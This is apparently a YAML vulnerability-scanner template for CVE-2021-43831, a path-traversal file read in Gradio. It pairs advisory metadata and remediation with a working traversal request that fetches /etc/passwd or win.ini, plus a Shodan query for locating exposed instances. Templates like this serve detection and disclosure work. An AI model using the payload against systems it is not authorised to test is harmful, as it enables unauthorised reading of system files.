52 lines
1.4 KiB
YAML
52 lines
1.4 KiB
YAML
|
id: CVE-2021-43831
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: Arbitrary File Read in Gradio
|
||
|
|
author: isacaya
|
||
|
|
severity: high
|
||
|
|
description: |
|
||
|
|
Files on the host computer can be accessed from the Gradio interface
|
||
|
|
impact: |
|
||
|
|
An attacker would be able to view the contents of a file on the computer.
|
||
|
|
remediation: |
|
||
|
|
Update to version 2.5.0.
|
||
|
|
reference:
|
||
|
|
- https://github.com/gradio-app/gradio/security/advisories/GHSA-rhq2-3vr9-6mcr
|
||
|
|
- https://github.com/gradio-app/gradio/commit/41bd3645bdb616e1248b2167ca83636a2653f781
|
||
|
|
classification:
|
||
|
|
cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
|
||
|
|
cvss-score: 8.3
|
||
|
|
cve-id: CVE-2021-43831
|
||
|
|
cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:*:python:*:*
|
||
|
|
metadata:
|
||
|
|
vendor: Gradio
|
||
|
|
product: Gradio
|
||
|
|
shodan-query: title:"Gradio"
|
||
|
|
tags: cve,cve2021,lfi,Gradio,traversal
|
||
|
|
|
||
|
|
http:
|
||
|
|
- method: GET
|
||
|
|
path:
|
||
|
|
- "{{BaseURL}}/file/../../../../../../../../../../../../../../../../../..{{path}}"
|
||
|
|
|
||
|
|
payloads:
|
||
|
|
path:
|
||
|
|
- /etc/passwd
|
||
|
|
- /windows/win.ini
|
||
|
|
|
||
|
|
stop-at-first-match: true
|
||
|
|
matchers-condition: or
|
||
|
|
matchers:
|
||
|
|
- type: dsl
|
||
|
|
dsl:
|
||
|
|
- "regex('root:.*:0:0:', body)"
|
||
|
|
- "status_code == 200"
|
||
|
|
condition: and
|
||
|
|
|
||
|
|
- type: dsl
|
||
|
|
dsl:
|
||
|
|
- "contains(body, 'bit app support')"
|
||
|
|
- "contains(body, 'fonts')"
|
||
|
|
- "contains(body, 'extensions')"
|
||
|
|
- "status_code == 200"
|
||
|
|
condition: and
|